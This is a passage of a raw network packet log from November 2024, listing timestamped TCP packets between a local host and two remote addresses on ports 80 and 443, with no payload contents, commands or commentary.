Nov 19, 2024 01:01:44.196912050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196921110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196923971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196934938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196948051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196959019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196985006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197005033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197016001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197026968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197036028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197037935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197048903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197061062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197063923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197073936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197091103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197108984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197109938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197124958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197137117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197139978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197149038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197156906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197159052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197170973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197171926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197181940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197194099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197202921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197217941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.197233915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.197309017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.212824106 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.212862968 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.212949038 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.213052988 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.213082075 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.213099957 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.213105917 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.214458942 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.214478016 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.214678049 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.214701891 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.214715958 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.214720964 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.222595930 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.222611904 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.223009109 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.223670006 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.223690033 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.223767996 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.224019051 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.224028111 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.225532055 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.225539923 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.225795984 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.225995064 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.226010084 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.229037046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229062080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229077101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229129076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229129076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229245901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229257107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229269028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229279995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229290962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229296923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229301929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229316950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229324102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229336977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229343891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229350090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229352951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229360104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229372978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229383945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229396105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229396105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229408979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229417086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229420900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229432106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229444027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229451895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229463100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229469061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229477882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229486942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229490042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229501009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229507923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229511023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229521990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229532003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229543924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229543924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229552031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229556084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229569912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229576111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229581118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229593039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229598999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229607105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229619026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229625940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229629993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229645014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229650021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229657888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229662895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229671001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229681015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229691982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229705095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229717016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229727983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229731083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229738951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229746103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229753971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229763985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229763985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229775906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229792118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229800940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229804993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229811907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229815960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229829073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229837894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229845047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229857922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229867935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229870081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229882956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229890108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229893923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229907990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229916096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229921103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229937077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229942083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229955912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229983091 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.229984999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.229996920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230007887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230014086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230021000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230032921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230046034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230046034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230057001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230065107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230078936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230091095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230094910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230103016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230113029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230119944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230123997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230137110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230149031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230149984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230168104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230168104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230180025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230190039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230195045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230201960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230211973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230222940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230230093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230235100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230242014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230246067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230258942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230269909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230273008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230282068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230288982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230309963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230509043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230520010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230530977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230557919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230582952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230597019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230607033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230618000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230621099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230649948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230674982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230679035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230685949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230698109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230710983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230721951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230727911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230732918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230741024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230762005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230777979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230840921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230854988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230874062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230878115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230890036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230895996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230906963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230906963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230918884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230927944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230931997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230942011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230943918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230956078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230967045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230973959 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.230978012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.230989933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231000900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231005907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231012106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231021881 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231030941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231040001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231041908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231055021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231065989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231076002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231076002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231086969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231095076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231101036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231112003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231117964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231129885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231132984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231143951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231153011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231153965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231168032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231177092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231179953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231188059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231208086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231528997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231539965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231556892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231565952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231578112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231579065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231590033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231600046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231601000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231615067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231625080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231642962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231710911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231723070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231733084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231740952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231746912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231765985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231772900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231777906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231789112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231789112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231801987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231813908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231817961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231826067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231837034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231842041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231849909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231865883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231904984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231919050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231929064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231942892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231947899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231961012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231969118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231973886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231980085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.231985092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.231997967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232008934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232012987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232019901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232032061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232049942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232050896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232063055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232070923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232073069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232079029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232085943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232110977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232136011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232196093 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.232206106 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.232280970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232292891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232304096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232315063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232326984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232337952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232345104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232351065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232378960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232395887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232458115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232502937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232645035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232656002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232667923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232678890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232685089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232691050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232692957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232708931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232719898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232728958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232729912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232743025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232752085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232753992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232765913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232777119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232783079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.232791901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232803106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.232804060 CET	49889	80	192.168.2.6	185.215.113.206
